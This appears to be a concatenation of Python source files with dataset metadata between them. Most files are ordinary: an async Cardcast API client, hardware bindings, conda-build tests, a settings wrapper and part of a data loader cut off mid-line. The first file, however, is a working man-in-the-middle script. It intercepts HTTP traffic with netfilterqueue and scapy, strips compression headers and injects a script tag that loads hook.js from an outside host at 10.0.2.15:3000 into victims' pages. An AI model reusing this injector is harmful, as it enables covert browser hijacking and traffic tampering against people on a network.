#!/usr/bin/env python import netfilterqueue import scapy.all as scapy import re def set_load(packet, load): packet[scapy.Raw].load = load del packet[scapy.IP].len del packet[scapy.IP].chksum del packet[scapy.TCP].chksum return packet def process_packet(packet): """Modify downloads files on the fly while target uses HTTP/HTTPS. Do not forget to choose the port you will use on line 23 and 28 and uncomment them.""" scapy_packet = scapy.IP (packet.get_payload()) if scapy_packet.haslayer(scapy.Raw): #try: #.decode() in load load = scapy_packet[scapy.Raw].load if scapy_packet[scapy.TCP].dport == #CHOOSE PORT HERE: 80 / 10000: print("HTTPS Request") # print(scapy_packet.show()) load = re.sub("Accept-Encoding:.*?\\r\\n", "", load) elif scapy_packet[scapy.TCP].sport == #CHOOSE PORT HERE: 80 / 10000: print("HTTPS Response") #print(scapy_packet.show()) injection_code = '<script src="http://10.0.2.15:3000/hook.js"></script>' load = load.replace("</body>", injection_code + "</body>") content_length_search = re.search("(?:Content-Length:\s)(\d*)", load) if content_length_search and "text/html" in load: content_length = content_length_search.group(1) new_content_length = int(content_length) + len(injection_code) load = load.replace(content_length, str(new_content_length)) if load != scapy_packet[scapy.Raw].load: new_packet = set_load(scapy_packet, load) packet.set_payload(str(new_packet)) #except UnicodeDecodeError: # pass packet.accept() queue = netfilterqueue.NetfilterQueue() queue.bind(0, process_packet) queue.run()

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1,851

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91

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null

0.0625

0

null

0

null

0

1

0

1

c7b66acfc0f1fc9f0407ccd4877bc57ccf79afa1

4,691

py

Python

pycardcast/net/aiohttp.py

Elizafox/pycardcast

36fb8009f32f733fd18a7f3263a61362fdb75ec3

[ "WTFPL" ]

null

pycardcast/net/aiohttp.py

Elizafox/pycardcast

36fb8009f32f733fd18a7f3263a61362fdb75ec3

[ "WTFPL" ]

null

pycardcast/net/aiohttp.py

Elizafox/pycardcast

36fb8009f32f733fd18a7f3263a61362fdb75ec3

[ "WTFPL" ]

1

2020-04-09T10:12:46.000Z

# Copyright © 2015 Elizabeth Myers. # All rights reserved. # This file is part of the pycardcast project. See LICENSE in the root # directory for licensing information. import asyncio import aiohttp from pycardcast.net import CardcastAPIBase from pycardcast.deck import (DeckInfo, DeckInfoNotFoundError, DeckInfoRetrievalError) from pycardcast.card import (BlackCard, WhiteCard, CardNotFoundError, CardRetrievalError) from pycardcast.search import (SearchReturn, SearchNotFoundError, SearchRetrievalError) class CardcastAPI(CardcastAPIBase): """A :py:class:`~pycardcast.net.CardcastAPIBase` implementation using the aiohttp library. All the methods here are coroutines except for one: :py:meth:`~pycardcast.net.aiohttp.CardcastAPI.search_iter`. """ @asyncio.coroutine def deck_info(self, code): req = yield from aiohttp.request("get", self.deck_info_url.format code=code)) if req.status == 200: json=yield from req.json() return DeckInfo.from_json(json) elif req.status == 404: err="Deck not found: {}".format(code) raise DeckInfoNotFoundError(err) else: err="Error retrieving deck: {} (code {})".format(code, req.status) raise DeckInfoRetrievalError(err) @asyncio.coroutine def white_cards(self, code): req=yield from aiohtp.request("get", self.card_list_url.format( code=code)) if req.status == 200: json=yield from req.json() return WhiteCard.from_json(json) elif req.status == 404: err="White cards not found: {}".format(code) raise CardNotFoundError(err) else: err="Error retrieving white cards: {} (code {})".format( code, req.status) raise CardRetrievalError(err) @asyncio.coroutine def black_cards(self, code): req = yield from aiohtp.request("get", self.card_list_url.format( code=code)) if req.status == 200: json = yield from req.json() return BlackCard.from_json(json) elif req.status == 404: err = "Black cards not found: {}".format(code) raise CardNotFoundError(err) else: err = "Error retrieving black cards: {} (code {})".format( code, req.status) raise CardRetrievalError(err) @asyncio.coroutine def cards(self, code): req = yield from aiohtp.request("get", self.card_list_url.format( code=code)) if req.status == 200: json = yield from req.json() return (BlackCard.from_json(json), WhiteCard.from_json(json)) elif req.status == 404: err = "Cards not found: {}".format(code) raise CardNotFoundError(err) else: err = "Error retrieving cards: {} (code {})".format(code, req.status) raise CardRetrievalError(err) @asyncio.coroutine def deck(self, code): deckinfo = yield from self.deck_info(code) cards = yield from self.cards(code) return Deck(deckinfo, cards[0], cards[1]) @asyncio.coroutine def search(self, name=None, author=None, category=None, offset=0, limit=None): qs = { "search": name, "author": author, "category": category, "offset": offset, "limit": (deck_list_max if limit is None else limit) } req = yield from aiohtp.request("get", self.deck_list_url, params=qs) if req.status == 200: json = yield from req.json() return SearchReturn.from_json(json) elif req.status == 404: err = "Search query returned not found" raise SearchNotFoundError(err) else: err = "Error searching decks (code {})".format(req.status) raise SearchRetrievalError(err) def search_iter(self, name=None, author=None, category=None, offset=0, limit=None): s = asyncio.run_until_complete(self.search(name, author, category, offset, limit)) while s.count > 0: yield s offset += s.count s = asyncio.run_until_complete(self.search(name, author, category, offset, limit))

37.830645

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0.563206

492

4,691

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0.221545

0.051625

0.043595

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0.503633

0.491396

0.460421

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0

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4,691

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null

0

null

0

null

0

1

0

1

c7b71c7227264e168736696fa5f4ef910e4d9c22

2,345

py

Python

libtiepie/triggeroutput.py

TiePie/python-libtiepie

d2a9875855298a58d6a16be5b61aaa89a558e7d8

[ "MIT" ]

6

2020-01-04T02:00:35.000Z

2022-03-22T00:32:26.000Z

libtiepie/triggeroutput.py

TiePie/python-libtiepie

d2a9875855298a58d6a16be5b61aaa89a558e7d8

[ "MIT" ]

3

2020-08-05T15:16:29.000Z

2022-03-21T07:00:27.000Z

libtiepie/triggeroutput.py

TiePie/python-libtiepie

d2a9875855298a58d6a16be5b61aaa89a558e7d8

[ "MIT" ]

null

from ctypes import * from .api import api from .const import * from .library import library class TriggerOutput(object): """""" def __init__(self, handle, index): self._handle = handle self._index = index def _get_enabled(self): """ Check whether a trigger output is enabled. """ value = api.DevTrOutGetEnabled(self._handle, self._index) library.check_last_status_raise_on_error() return value != BOOL8_FALSE def _set_enabled(self, value): value = BOOL8_TRUE if value else BOOL8_FALSE api.DevTrOutSetEnabled(self._handle, self._index, value) library.check_last_status_raise_on_error() def _get_events(self): """ Supported trigger output events. """ value = api.DevTrOutGetEvents(self._handle, self._index) library.check_last_status_raise_on_error() return value def _get_event(self): """ Currently selected trigger output event. """ value = api.DevTrOutGetEvent(self._handle, self._index) library.check_last_status_raise_on_error() return value def _set_event(self, value): api.DevTrOutSetEvent(self._handle, self._index, value) library.check_last_status_raise_on_error() def _get_id(self): """ Id. """ value = api.DevTrOutGetId(self._handle, self._index) library.check_last_status_raise_on_error() return value def _get_name(self): """ Name. """ length = api.DevTrOutGetName(self._handle, self._index, None, 0) library.check_last_status_raise_on_error() buf = create_string_buffer(length + 1) api.DevTrOutGetName(self._handle, self._index, buf, length) library.check_last_status_raise_on_error() return buf.value.decode('utf-8') def trigger(self): """ Trigger the specified device trigger output. :returns: ``True`` if successful, ``False`` otherwise. .. versionadded:: 0.6 """ result = api.DevTrOutTrigger(self._handle, self._index) library.check_last_status_raise_on_error() return result != BOOL8_FALSE enabled = property(_get_enabled, _set_enabled) events = property(_get_events) event = property(_get_event, _set_event) id = property(_get_id) name = property(_get_name)

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0.665245

281

2,345

5.185053

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0.075498

0.102951

0.117364

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0.365134

0.341798

0.314345

0

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0.234968

2,345

70

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0

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0

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0

1

0.191489

false

0

0.085106

0

0.531915

0

null

0

null

0

1

0

1

c7b8b9fdf2de5fb240b87971d0e7f35941af2c81

1,485

py

Python

tests/test_render.py

isuruf/conda-build

9f163925f5d03a46e921162892bf4c6bc86b1072

[ "BSD-3-Clause" ]

null

tests/test_render.py

isuruf/conda-build

9f163925f5d03a46e921162892bf4c6bc86b1072

[ "BSD-3-Clause" ]

1

2019-10-08T15:03:56.000Z

tests/test_render.py

awwad/conda-build

b0be80283ec2e3ef7e49b5da923b1438e74e27b5

[ "BSD-3-Clause" ]

null

import os import sys from conda_build import api from conda_build import render import pytest def test_output_with_noarch_says_noarch(testing_metadata): testing_metadata.meta['build']['noarch'] = 'python' output = api.get_output_file_path(testing_metadata) assert os.path.sep + "noarch" + os.path.sep in output[0] def test_output_with_noarch_python_says_noarch(testing_metadata): testing_metadata.meta['build']['noarch_python'] = True output = api.get_output_file_path(testing_metadata) assert os.path.sep + "noarch" + os.path.sep in output[0] def test_reduce_duplicate_specs(testing_metadata): reqs = {'build': ['exact', 'exact 1.2.3 1', 'exact >1.0,<2'], 'host': ['exact', 'exact 1.2.3 1'] } testing_metadata.meta['requirements'] = reqs render._simplify_to_exact_constraints(testing_metadata) assert (testing_metadata.meta['requirements']['build'] == testing_metadata.meta['requirements']['host']) simplified_deps = testing_metadata.meta['requirements'] assert len(simplified_deps['build']) == 1 assert 'exact 1.2.3 1' in simplified_deps['build'] def test_pin_run_as_build_preserve_string(testing_metadata): m = testing_metadata m.config.variant['pin_run_as_build']['pkg'] = { 'max_pin': 'x.x' } dep = render.get_pin_from_build( m, 'pkg * somestring*', {'pkg': '1.2.3 somestring_h1234'} ) assert dep == 'pkg >=1.2.3,<1.3.0a0 somestring*'

33

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4.676329

0.280193

0.216942

0.117769

0.016529

0.384298

0.334711

0.305785

0

0.026059

0.173064

1,485

44

66

33.75

0.762215

0

0.114286

0

0.193939

0

0.171429

1

0.114286

false

0

0.142857

0

0.257143

0

null

1

0

null

0

1

c7b8e20d5ed5e23189a112d56d8a749537d1ecec

173

py

Python

ABC/007/b.py

fumiyanll23/AtCoder

362ca9fcacb5415c1458bc8dee5326ba2cc70b65

[ "MIT" ]

null

ABC/007/b.py

fumiyanll23/AtCoder

362ca9fcacb5415c1458bc8dee5326ba2cc70b65

[ "MIT" ]

null

ABC/007/b.py

fumiyanll23/AtCoder

362ca9fcacb5415c1458bc8dee5326ba2cc70b65

[ "MIT" ]

null

def main(): # input A = input() # compute # output if A == 'a': print(-1) else: print('a') if __name__ == '__main__': main()

10.8125

26

0.421965

19

173

3.421053

0.578947

0

0.009804

0.410405

173

15

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0.627451

0.115607

0

0.067114

0

1

0.125

false

0

0.125

0.25

1

0

null

0

null

0

1

c7c52b0c2a58b302536c4281e3d875f7998a6140

611

py

Python

src/helpers.py

demirdagemir/thesis

4a48bddf815c91729e27484548bb7bbf7ddeda64

[ "MIT" ]

null

src/helpers.py

demirdagemir/thesis

4a48bddf815c91729e27484548bb7bbf7ddeda64

[ "MIT" ]

null

src/helpers.py

demirdagemir/thesis

4a48bddf815c91729e27484548bb7bbf7ddeda64

[ "MIT" ]

null

from Aion.utils.data import getADBPath import subprocess def dumpLogCat(apkTarget): # Aion/shared/DroidutanTest.py # Define frequently-used commands # TODO: Refactor adbID adbID = "192.168.58.101:5555" adbPath = getADBPath() dumpLogcatCmd = [adbPath, "-s", adbID, "logcat", "-d"] clearLogcatCmd = [adbPath, "-s", adbID, "-c"] # 5. Dump the system log to file logcatFile = open(apkTarget.replace(".apk", ".log"), "w") prettyPrint("Dumping logcat") subprocess.Popen(dumpLogcatCmd, stderr=subprocess.STDOUT, stdout=logcatFile).communicate()[0] logcatFile.close()

33.944444

97

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70

611

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0.742857

0.038462

0.0625

0

0.03373

0.175123

611

17

98

35.941176

0.791667

0.184943

0

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0

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0

1

0.090909

false

0

0.181818

0

0.272727

0

null

0

null

0

1

0

1

c7c5b3d53e6ad031199ab57c86f15523078de6cc

1,969

py

Python

tests/test_show.py

domi007/pigskin

c379284ebbbdb3a9df42de70227041e3c137b6dc

[ "MIT" ]

6

2018-08-15T13:29:22.000Z

2020-09-12T14:39:20.000Z

tests/test_show.py

domi007/pigskin

c379284ebbbdb3a9df42de70227041e3c137b6dc

[ "MIT" ]

26

2018-08-15T13:08:49.000Z

2020-01-12T22:27:38.000Z

tests/test_show.py

domi007/pigskin

c379284ebbbdb3a9df42de70227041e3c137b6dc

[ "MIT" ]

4

2018-08-15T13:52:26.000Z

2019-04-28T17:09:04.000Z

from collections import OrderedDict import pytest import vcr try: # Python 2.7 # requests's ``json()`` function returns strings as unicode (as per the # JSON spec). In 2.7, those are of type unicode rather than str. basestring # was created to help with that. # https://docs.python.org/2/library/functions.html#basestring basestring = basestring except NameError: basestring = str @pytest.mark.incremental class TestShow(object): """These don't require authentication to Game Pass.""" @vcr.use_cassette('public_API/europe_show.yaml') @staticmethod def test_desc(gp): shows = gp.shows for s in shows: show = shows[s] isinstance(show.desc, basestring) # content is not required @vcr.use_cassette('public_API/europe_show.yaml') @staticmethod def test_logo(gp): shows = gp.shows for s in shows: show = shows[s] isinstance(show.logo, basestring) assert show.logo @vcr.use_cassette('public_API/europe_show.yaml') @staticmethod def test_name(gp): shows = gp.shows for s in shows: show = shows[s] isinstance(show.name, basestring) assert show.name @vcr.use_cassette('public_API/europe_show_seasons.yaml') @staticmethod def test_seasons(gp): shows = gp.shows for s in shows: show = shows[s] assert type(show.seasons) is OrderedDict assert show.seasons prev = 9999 for s in show.seasons: season = show.seasons[s] # TODO: assert it has content # TODO: assert is type season # make sure the years look sane-ish assert int(s) > 2000 and int(s) < 2050 # make sure it's sorted high to low assert int(prev) > int(s) prev = s

24.6125

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1,969

4.587045

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0

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1,969

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1

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0

0.065217

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0.173913

0

null

0

null

0

1

0

1

c7d594ecefc0ecfe585fc9557bf2ed8617f874e6

1,944

py

Python

settings.py

SalinderSidhu/CHIP8

46a01aa7675805b84809d1e9762905de8fdccc66

[ "MIT" ]

4

2015-12-22T15:03:43.000Z

2016-07-28T08:11:48.000Z

settings.py

SalinderSidhu/CHIP8

46a01aa7675805b84809d1e9762905de8fdccc66

[ "MIT" ]

null

settings.py

SalinderSidhu/CHIP8

46a01aa7675805b84809d1e9762905de8fdccc66

[ "MIT" ]

null

import configparser class Settings: '''The Settings class is a wrapper for configparser and it's functions. This class simplifies the tasks of loading, storing and manipulating settings data.''' def __init__(self, filename): '''Create a new Settings object with a specific file name.''' # Exceptions self.__settingException = Exception( 'Cannot find specified setting data!') # Settings variables self.__filename = filename self.__config = configparser.ConfigParser() # Load settings from existing file (if one exists) self.__isEmpty = len(self.__config.read(self.__filename)) == 0 def isEmpty(self): '''Return True if there is not settings data loaded, otherwise return False.''' return self.__isEmpty def addNewSetting(self, category, settingDict): '''Add a new setting with the specified category and data. Save the new settings data to a file.''' self.__config[category] = settingDict.copy() self.__saveAllSettings() self.__isEmpty = False def getSetting(self, category, key): '''Return a setting value from the specified category and setting key.''' try: return self.__config.get(category, key) except KeyError: raise self.__settingException def editSetting(self, category, key, value): '''Change an existing setting with a specified category and setting key to the value specified. Save the new settings data to a file.''' try: self.__config.set(category, key, str(value)) self.__saveAllSettings() except KeyError: raise self.__settingException def __saveAllSettings(self): '''Write the current settings data to a file.''' with open(self.__filename, 'w') as configFile: self.__config.write(configFile)

36.679245

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0.037007

0.181743

0.116776

0.047697

0

0.000707

0.272634

1,944

52

80

37.384615

0.859265

0.359054

0

0.285714

0

0.030822

0

1

0.214286

false

0

0.035714

0

0.357143

0

null

0

null

0

1

0

1

c7dcc75b55961bd952da5e374d98d1ab7d3f5c96

40,969

py

Python

python/thunder/rdds/fileio/seriesloader.py

broxtronix/thunder

4dad77721e2c9e225f94a6a5366d51ec83ac4690

[ "Apache-2.0" ]

null

python/thunder/rdds/fileio/seriesloader.py

broxtronix/thunder

4dad77721e2c9e225f94a6a5366d51ec83ac4690

[ "Apache-2.0" ]

null

python/thunder/rdds/fileio/seriesloader.py

broxtronix/thunder

4dad77721e2c9e225f94a6a5366d51ec83ac4690

[ "Apache-2.0" ]

null

"""Provides SeriesLoader object and helpers, used to read Series data from disk or other filesystems. """ from collections import namedtuple import json from numpy import array, arange, frombuffer, load, ndarray, unravel_index, vstack from numpy import dtype as dtypeFunc from scipy.io import loadmat from cStringIO import StringIO import itertools import struct import urlparse import math from thunder.rdds.fileio.writers import getParallelWriterForPath from thunder.rdds.keys import Dimensions from thunder.rdds.fileio.readers import getFileReaderForPath, FileNotFoundError, appendExtensionToPathSpec from thunder.rdds.imgblocks.blocks import SimpleBlocks from thunder.rdds.series import Series from thunder.utils.common import parseMemoryString, smallestFloatType class SeriesLoader(object): """Loader object used to instantiate Series data stored in a variety of formats. """ def __init__(self, sparkContext, minPartitions=None): """Initialize a new SeriesLoader object. Parameters ---------- sparkcontext: SparkContext The pyspark SparkContext object used by the current Thunder environment. minPartitions: int minimum number of partitions to use when loading data. (Used by fromText, fromMatLocal, and fromNpyLocal) """ from thunder.utils.aws import AWSCredentials self.sc = sparkContext self.minPartitions = minPartitions self.awsCredentialsOverride = AWSCredentials.fromContext(sparkContext) def _checkOverwrite(self, outputDirPath): from thunder.utils.common import raiseErrorIfPathExists raiseErrorIfPathExists(outputDirPath, awsCredentialsOverride=self.awsCredentialsOverride) def fromArrays(self, arrays, npartitions=None): """ Create a Series object from a sequence of 1d numpy arrays on the driver. """ # recast singleton if isinstance(arrays, ndarray): arrays = [arrays] # check shape and dtype shape = arrays[0].shape dtype = arrays[0].dtype for ary in arrays: if not ary.shape == shape: raise ValueError("Inconsistent array shapes: first array had shape %s, but other array has shape %s" % (str(shape), str(ary.shape))) if not ary.dtype == dtype: raise ValueError("Inconsistent array dtypes: first array had dtype %s, but other array has dtype %s" % (str(dtype), str(ary.dtype))) # generate linear keys keys = map(lambda k: (k,), xrange(0, len(arrays))) return Series(self.sc.parallelize(zip(keys, arrays), npartitions), dtype=str(dtype)) def fromArraysAsImages(self, arrays): """Create a Series object from a sequence of numpy ndarrays resident in memory on the driver. The arrays will be interpreted as though each represents a single time point - effectively the same as if converting Images to a Series, with each array representing a volume image at a particular point in time. Thus in the resulting Series, the value of the record with key (0,0,0) will be array([arrays[0][0,0,0], arrays[1][0,0,0],... arrays[n][0,0,0]). The dimensions of the resulting Series will be *opposite* that of the passed numpy array. Their dtype will not be changed. """ # if passed a single array, cast it to a sequence of length 1 if isinstance(arrays, ndarray): arrays = [arrays] # check that shapes of passed arrays are consistent shape = arrays[0].shape dtype = arrays[0].dtype for ary in arrays: if not ary.shape == shape: raise ValueError("Inconsistent array shapes: first array had shape %s, but other array has shape %s" % (str(shape), str(ary.shape))) if not ary.dtype == dtype: raise ValueError("Inconsistent array dtypes: first array had dtype %s, but other array has dtype %s" % (str(dtype), str(ary.dtype))) # get indices so that fastest index changes first shapeiters = (xrange(n) for n in shape) keys = [idx[::-1] for idx in itertools.product(*shapeiters)] values = vstack([ary.ravel() for ary in arrays]).T dims = Dimensions.fromTuple(shape[::-1]) return Series(self.sc.parallelize(zip(keys, values), self.minPartitions), dims=dims, dtype=str(dtype)) @staticmethod def __normalizeDatafilePattern(dataPath, ext): dataPath = appendExtensionToPathSpec(dataPath, ext) # we do need to prepend a scheme here, b/c otherwise the Hadoop based readers # will adopt their default behavior and start looking on hdfs://. parseResult = urlparse.urlparse(dataPath) if parseResult.scheme: # this appears to already be a fully-qualified URI return dataPath else: # this looks like a local path spec # check whether we look like an absolute or a relative path import os dirComponent, fileComponent = os.path.split(dataPath) if not os.path.isabs(dirComponent): # need to make relative local paths absolute; our file scheme parsing isn't all that it could be. dirComponent = os.path.abspath(dirComponent) dataPath = os.path.join(dirComponent, fileComponent) return "file://" + dataPath def fromText(self, dataPath, nkeys=None, ext="txt", dtype='float64'): """ Loads Series data from text files. Parameters ---------- dataPath : string Specifies the file or files to be loaded. dataPath may be either a URI (with scheme specified) or a path on the local filesystem. If a path is passed (determined by the absence of a scheme component when attempting to parse as a URI), and it is not already a wildcard expression and does not end in <ext>, then it will be converted into a wildcard pattern by appending '/*.ext'. This conversion can be avoided by passing a "file://" URI. dtype: dtype or dtype specifier, default 'float64' """ dataPath = self.__normalizeDatafilePattern(dataPath, ext) def parse(line, nkeys_): vec = [float(x) for x in line.split(' ')] ts = array(vec[nkeys_:], dtype=dtype) keys = tuple(int(x) for x in vec[:nkeys_]) return keys, ts lines = self.sc.textFile(dataPath, self.minPartitions) data = lines.map(lambda x: parse(x, nkeys)) return Series(data, dtype=str(dtype)) # keytype, valuetype here violate camelCasing convention for consistence with JSON conf file format BinaryLoadParameters = namedtuple('BinaryLoadParameters', 'nkeys nvalues keytype valuetype') BinaryLoadParameters.__new__.__defaults__ = (None, None, 'int16', 'int16') def __loadParametersAndDefaults(self, dataPath, confFilename, nkeys, nvalues, keyType, valueType): """Collects parameters to use for binary series loading. Priority order is as follows: 1. parameters specified as keyword arguments; 2. parameters specified in a conf.json file on the local filesystem; 3. default parameters Returns ------- BinaryLoadParameters instance """ params = self.loadConf(dataPath, confFilename=confFilename) # filter dict to include only recognized field names: for k in params.keys(): if k not in SeriesLoader.BinaryLoadParameters._fields: del params[k] keywordParams = {'nkeys': nkeys, 'nvalues': nvalues, 'keytype': keyType, 'valuetype': valueType} for k, v in keywordParams.items(): if not v: del keywordParams[k] params.update(keywordParams) return SeriesLoader.BinaryLoadParameters(**params) @staticmethod def __checkBinaryParametersAreSpecified(paramsObj): """Throws ValueError if any of the field values in the passed namedtuple instance evaluate to False. Note this is okay only so long as zero is not a valid parameter value. Hmm. """ missing = [] for paramName, paramVal in paramsObj._asdict().iteritems(): if not paramVal: missing.append(paramName) if missing: raise ValueError("Missing parameters to load binary series files - " + "these must be given either as arguments or in a configuration file: " + str(tuple(missing))) def fromBinary(self, dataPath, ext='bin', confFilename='conf.json', nkeys=None, nvalues=None, keyType=None, valueType=None, newDtype='smallfloat', casting='safe', maxPartitionSize='32mb'): """ Load a Series object from a directory of binary files. Parameters ---------- dataPath : string URI or local filesystem path Specifies the directory or files to be loaded. May be formatted as a URI string with scheme (e.g. "file://", "s3n://", or "gs://"). If no scheme is present, will be interpreted as a path on the local filesystem. This path must be valid on all workers. Datafile may also refer to a single file, or to a range of files specified by a glob-style expression using a single wildcard character '*'. newDtype : dtype or dtype specifier or string 'smallfloat' or None, optional, default 'smallfloat' Numpy dtype of output series data. Most methods expect Series data to be floating-point. Input data will be cast to the requested `newdtype` if not None - see Data `astype()` method. casting : 'no'|'equiv'|'safe'|'same_kind'|'unsafe', optional, default 'safe' Casting method to pass on to numpy's `astype()` method; see numpy documentation for details. maxPartitionSize : str, optional, default = '32mb' Maximum size of partitions as Java-style memory, will indirectly control the number of partitions """ paramsObj = self.__loadParametersAndDefaults(dataPath, confFilename, nkeys, nvalues, keyType, valueType) self.__checkBinaryParametersAreSpecified(paramsObj) dataPath = self.__normalizeDatafilePattern(dataPath, ext) keyDtype = dtypeFunc(paramsObj.keytype) valDtype = dtypeFunc(paramsObj.valuetype) keySize = paramsObj.nkeys * keyDtype.itemsize recordSize = keySize + paramsObj.nvalues * valDtype.itemsize from thunder.utils.common import parseMemoryString if isinstance(maxPartitionSize, basestring): size = parseMemoryString(maxPartitionSize) else: raise Exception("Invalid size specification") hadoopConf = {'recordLength': str(recordSize), 'mapred.max.split.size': str(size)} lines = self.sc.newAPIHadoopFile(dataPath, 'thunder.util.io.hadoop.FixedLengthBinaryInputFormat', 'org.apache.hadoop.io.LongWritable', 'org.apache.hadoop.io.BytesWritable', conf=hadoopConf) data = lines.map(lambda (_, v): (tuple(int(x) for x in frombuffer(buffer(v, 0, keySize), dtype=keyDtype)), frombuffer(buffer(v, keySize), dtype=valDtype))) return Series(data, dtype=str(valDtype), index=arange(paramsObj.nvalues)).astype(newDtype, casting) def _getSeriesBlocksFromStack(self, dataPath, dims, ext="stack", blockSize="150M", dtype='int16', newDtype='smallfloat', casting='safe', startIdx=None, stopIdx=None, recursive=False): """Create an RDD of <string blocklabel, (int k-tuple indices, array of datatype values)> Parameters ---------- dataPath: string URI or local filesystem path Specifies the directory or files to be loaded. May be formatted as a URI string with scheme (e.g. "file://", "s3n://" or "gs://"). If no scheme is present, will be interpreted as a path on the local filesystem. This path must be valid on all workers. Datafile may also refer to a single file, or to a range of files specified by a glob-style expression using a single wildcard character '*'. dims: tuple of positive int Dimensions of input image data, ordered with the fastest-changing dimension first. dtype: dtype or dtype specifier, optional, default 'int16' Numpy dtype of input stack data newDtype: floating-point dtype or dtype specifier or string 'smallfloat' or None, optional, default 'smallfloat' Numpy dtype of output series data. Series data must be floating-point. Input data will be cast to the requested `newdtype` - see numpy `astype()` method. casting: 'no'|'equiv'|'safe'|'same_kind'|'unsafe', optional, default 'safe' Casting method to pass on to numpy's `astype()` method; see numpy documentation for details. recursive: boolean, default False If true, will recursively descend directories rooted at dataPath, loading all files in the tree that have an extension matching 'ext'. Recursive loading is currently only implemented for local filesystems (not s3). Returns --------- pair of (RDD, ntimepoints) RDD: sequence of keys, values pairs (call using flatMap) RDD Key: tuple of int zero-based indicies of position within original image volume RDD Value: numpy array of datatype series of values at position across loaded image volumes ntimepoints: int number of time points in returned series, determined from number of stack files found at dataPath newDtype: string string representation of numpy data type of returned blocks """ dataPath = self.__normalizeDatafilePattern(dataPath, ext) blockSize = parseMemoryString(blockSize) totalDim = reduce(lambda x_, y_: x_*y_, dims) dtype = dtypeFunc(dtype) if newDtype is None or newDtype == '': newDtype = str(dtype) elif newDtype == 'smallfloat': newDtype = str(smallestFloatType(dtype)) else: newDtype = str(newDtype) reader = getFileReaderForPath(dataPath)(awsCredentialsOverride=self.awsCredentialsOverride) filenames = reader.list(dataPath, startIdx=startIdx, stopIdx=stopIdx, recursive=recursive) if not filenames: raise IOError("No files found for path '%s'" % dataPath) dataSize = totalDim * len(filenames) * dtype.itemsize nblocks = max(dataSize / blockSize, 1) # integer division if len(dims) >= 3: # for 3D stacks, do calculations to ensure that # different planes appear in distinct files blocksPerPlane = max(nblocks / dims[-1], 1) pixPerPlane = reduce(lambda x_, y_: x_*y_, dims[:-1]) # all but last dimension # get the greatest number of blocks in a plane (up to as many as requested) that still divide the plane # evenly. This will always be at least one. kUpdated = [x for x in range(1, blocksPerPlane+1) if not pixPerPlane % x][-1] nblocks = kUpdated * dims[-1] blockSizePerStack = (totalDim / nblocks) * dtype.itemsize else: # otherwise just round to make contents divide into nearly even blocks blockSizePerStack = int(math.ceil(totalDim / float(nblocks))) nblocks = int(math.ceil(totalDim / float(blockSizePerStack))) blockSizePerStack *= dtype.itemsize fileSize = totalDim * dtype.itemsize def readBlock(blockNum): # copy size out from closure; will modify later: blockSizePerStack_ = blockSizePerStack # get start position for this block position = blockNum * blockSizePerStack_ # adjust if at end of file if (position + blockSizePerStack_) > fileSize: blockSizePerStack_ = int(fileSize - position) # loop over files, loading one block from each bufs = [] for fname in filenames: buf = reader.read(fname, startOffset=position, size=blockSizePerStack_) bufs.append(frombuffer(buf, dtype=dtype)) buf = vstack(bufs).T # dimensions are now linindex x time (images) del bufs buf = buf.astype(newDtype, casting=casting, copy=False) # append subscript keys based on dimensions itemPosition = position / dtype.itemsize itemBlocksize = blockSizePerStack_ / dtype.itemsize linearIdx = arange(itemPosition, itemPosition + itemBlocksize) # zero-based keys = zip(*map(tuple, unravel_index(linearIdx, dims, order='F'))) return zip(keys, buf) # map over blocks return (self.sc.parallelize(range(0, nblocks), nblocks).flatMap(lambda bn: readBlock(bn)), len(filenames), newDtype) @staticmethod def __readMetadataFromFirstPageOfMultiTif(reader, filePath): import thunder.rdds.fileio.multitif as multitif # read first page of first file to get expected image size tiffFP = reader.open(filePath) tiffParser = multitif.TiffParser(tiffFP, debug=False) tiffHeaders = multitif.TiffData() tiffParser.parseFileHeader(destinationTiff=tiffHeaders) firstIfd = tiffParser.parseNextImageFileDirectory(destinationTiff=tiffHeaders) if not firstIfd.isLuminanceImage(): raise ValueError(("File %s does not appear to be a luminance " % filePath) + "(greyscale or bilevel) TIF image, " + "which are the only types currently supported") # keep reading pages until we reach the end of the file, in order to get number of planes: while tiffParser.parseNextImageFileDirectory(destinationTiff=tiffHeaders): pass # get dimensions npages = len(tiffHeaders.ifds) height = firstIfd.getImageHeight() width = firstIfd.getImageWidth() # get datatype bitsPerSample = firstIfd.getBitsPerSample() if not (bitsPerSample in (8, 16, 32, 64)): raise ValueError("Only 8, 16, 32, or 64 bit per pixel TIF images are supported, got %d" % bitsPerSample) sampleFormat = firstIfd.getSampleFormat() if sampleFormat == multitif.SAMPLE_FORMAT_UINT: dtStr = 'uint' elif sampleFormat == multitif.SAMPLE_FORMAT_INT: dtStr = 'int' elif sampleFormat == multitif.SAMPLE_FORMAT_FLOAT: dtStr = 'float' else: raise ValueError("Unknown TIF SampleFormat tag value %d, should be 1, 2, or 3 for uint, int, or float" % sampleFormat) dtype = dtStr+str(bitsPerSample) return height, width, npages, dtype def _getSeriesBlocksFromMultiTif(self, dataPath, ext="tif", blockSize="150M", newDtype='smallfloat', casting='safe', startIdx=None, stopIdx=None, recursive=False): import thunder.rdds.fileio.multitif as multitif import itertools from PIL import Image import io dataPath = self.__normalizeDatafilePattern(dataPath, ext) blockSize = parseMemoryString(blockSize) reader = getFileReaderForPath(dataPath)(awsCredentialsOverride=self.awsCredentialsOverride) filenames = reader.list(dataPath, startIdx=startIdx, stopIdx=stopIdx, recursive=recursive) if not filenames: raise IOError("No files found for path '%s'" % dataPath) ntimepoints = len(filenames) doMinimizeReads = dataPath.lower().startswith("s3") or dataPath.lower().startswith("gs") # check PIL version to see whether it is actually pillow or indeed old PIL and choose # conversion function appropriately. See ImagesLoader.fromMultipageTif and common.pil_to_array # for more explanation. isPillow = hasattr(Image, "PILLOW_VERSION") if isPillow: conversionFcn = array # use numpy's array() function else: from thunder.utils.common import pil_to_array conversionFcn = pil_to_array # use our modified version of matplotlib's pil_to_array height, width, npages, dtype = SeriesLoader.__readMetadataFromFirstPageOfMultiTif(reader, filenames[0]) if dtype.startswith('int'): raise ValueError('Signed integer tiff images are not supported in SeriesLoader (shuffle=False);' + ' please try loading as Images (shuffle=True)') pixelBytesize = dtypeFunc(dtype).itemsize if newDtype is None or str(newDtype) == '': newDtype = str(dtype) elif newDtype == 'smallfloat': newDtype = str(smallestFloatType(dtype)) else: newDtype = str(newDtype) # intialize at one block per plane bytesPerPlane = height * width * pixelBytesize * ntimepoints bytesPerBlock = bytesPerPlane blocksPerPlane = 1 # keep dividing while cutting our size in half still leaves us bigger than the requested size # should end up no more than 2x blockSize. while bytesPerBlock >= blockSize * 2: bytesPerBlock /= 2 blocksPerPlane *= 2 blocklenPixels = 